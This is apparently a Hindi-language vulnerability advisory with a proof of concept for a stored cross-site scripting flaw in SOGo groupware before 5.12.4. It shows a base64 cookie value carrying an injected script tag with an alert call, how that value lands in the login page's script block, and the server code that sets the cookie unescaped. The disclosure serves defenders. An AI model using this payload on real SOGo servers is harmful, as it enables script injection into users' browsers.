
SOGo ग्रुपवेयर के लिए स्टोर्ड XSS प्रूफ-ऑफ-कॉन्सेप्ट, जो 'Remember Username' कुकी का उपयोग करके लॉगिन एंडपॉइंट के माध्यम से JavaScript पेलोड इंजेक्ट करता है।
संग्रहीत XSS Alinto/SOGo कुकी में
शोधकर्ता: Daniil Khomichenok, Alexander Klimenko
प्रभावित संस्करण < 5.12.4 ( https://github.com/Alinto/sogo/releases/tag/SOGo-5.12.4 )
दिनांक: 01.10.2025
जब "Remember Username" सुविधा सक्षम होती है, तो ब्राउज़र कुकी में एक base64-एन्कोडेड फ़ील्ड जोड़ा जाता है।
यह मान /SOGo/connect एंडपॉइंट पर POST अनुरोध में "userName" पैरामीटर से प्राप्त होता है।
सर्वर प्रतिक्रिया में b64 एन्कोडेड XSS पेलोड और सेट कुकी होती है:
Set-Cookie: SOGoLogin=dGVzdDIyMkBxYXRlc3Qub2YuYnk8L3NjcmlwdD48c2NyaXB0PmFsZXJ0KCcxMjMnKTwvc2NyaXB0Pg%3D%3D; expires=Sun, 02-Nov-2025 09:58:23 GMT;
POST अनुरोध में "userName" पैरामीटर के लिए निम्नलिखित मान जोड़ना:
जिसमें एक JavaScript इंजेक्शन होता है जो निष्पादित होता है जब उपयोगकर्ता प्रमाणीकरण पृष्ठ पर पुनः आता है और उपयोगकर्ता के ब्राउज़र में "SOGoLogin" कुकी में संग्रहीत होता है।
प्रमाणीकरण पृष्ठ का कोड, जिसमें इंजेक्शन है:
<script type="text/javascript">
var cookieUsername = "[email protected]</script><script>alert('123')</script>";
var language = 'English';
var loginHint = ''
</script>
लॉगिन रिमेम्बर सेट-कुकी का कोड जो XSS इंजेक्शन को paramteter मान के रूप में स्वीकार करता है:
if (rememberLogin)
[response addCookie: [self _cookieWithUsername: [params objectForKey: @"userName"]]];
else
[response addCookie: [self _cookieWithUsername: nil]];